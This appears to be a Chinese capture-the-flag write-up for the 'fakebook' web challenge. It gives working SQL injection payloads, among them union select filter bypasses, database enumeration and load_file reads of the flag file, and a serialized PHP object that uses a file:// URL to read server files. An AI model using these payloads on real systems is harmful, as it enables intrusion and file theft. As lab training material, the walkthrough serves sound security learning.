Web(fakebook)

题目描述
在这里插入图片描述
主要有两个按钮登录和注册,经过测试,注册按钮不能正常使用。
查看网页下的robots.txt文件
在这里插入图片描述关于robots.txt的描述
https://www.cnblogs.com/lzlzzzzzz/p/11700459.html

根据介绍,直接访问http://111.200.241.244:63286/user.php.bak
下载页面显示文件,查看该文件,用记事本打开,显示为PHP代码。

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

在isValidBlog ()函数中,正则表达式对blog中内容有特殊字符的限制。
关于正则表达式各个符号的详细介绍:https://www.cnblogs.com/-run/articles/2371078.html
“/^(((http(s?))😕/)?)([0-9a-zA-Z-]+.)+[a-zA-Z]{2,6}(:[0-9]+)?(/\S*)?$/i”
https://(可以写上,也可以不写)
(([0-9a-zA-Z-]+.))数字和字符再加上一个.
[a-zA-Z]{2,6} 英文字母a-z,A-Z,出现2-6次。
(:[0-9]+)?(/\S)? 出现0次或一次*
i(对大小写不敏感)

按照限制规则进行注册。
在这里插入图片描述
测试是否存在sql注入:单引号法,返回错误,存在注入。
在这里插入图片描述构造sql语句

order by 3 //回显正常
order by 4 //回显正常
order by 5 //回显不正常

通过结果猜测,页面最多存在4个column。

采用union select了解哪个位置可以回显。

union select 1,2,3,4

在这里插入图片描述
猜测页面对select union 字符进行了过滤,因此尝试转换大小写,发现结果并没有改变,通过网上的经验,构造一些含有特殊符号的sql语句。
之后尝试用union select看看哪个字段可以回显利用,为了不让我们构造的select语句与原来语句的结果混在一起,将原语句查询结果置为空(no=4)

 union++ select 1,2,3,4
 union/**/ select 1,2,3,4

payload:http://111.200.241.244:49463/view.php?no=4%20union++%20select%201,2,3,4#
在这里插入图片描述
因此可以得出回显位置为第2位。

查看数据库名

union select 1,database(),3,4#

数据库名为fakebook。
在这里插入图片描述
查看数据库的用户名

union select 1,user(),3,4#

root用户有着极高的权限,mysql中的load_file函数,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径。
在这里插入图片描述

view.php?no=2 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#

查看页面源代码,得到flag:flag{c1e552fdf77049fabf65168f22f7aeab}

否则,继续注入SQL语句,查找数据库中的表.,只发现users一个表。

view.php?no=2 union++ select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#

查找user表中的字段。

view.php?no=2 union++ select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#

在这里插入图片描述查看具体字段所保存的数据。

no=2 union++ select 1,data,3,4 from users#

在这里插入图片描述

view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"ac";s:3:"age";i:23;s:4:"blog";s:7:"file:///var/www/html/flag.php";}' 
view.php?no=2%20union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

第一条sql记录为我自己构造的
第二条是参照别人的,在这里修改这里的参数为上一步返回的data字段的值,反而没有src中的数据呈现在源代码中,当且仅当s:4:“blog”;s:29:“file:///var/www/html/flag.php”;时,src中有如下所示源代码。将其进行base转换可以得到flag值。
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值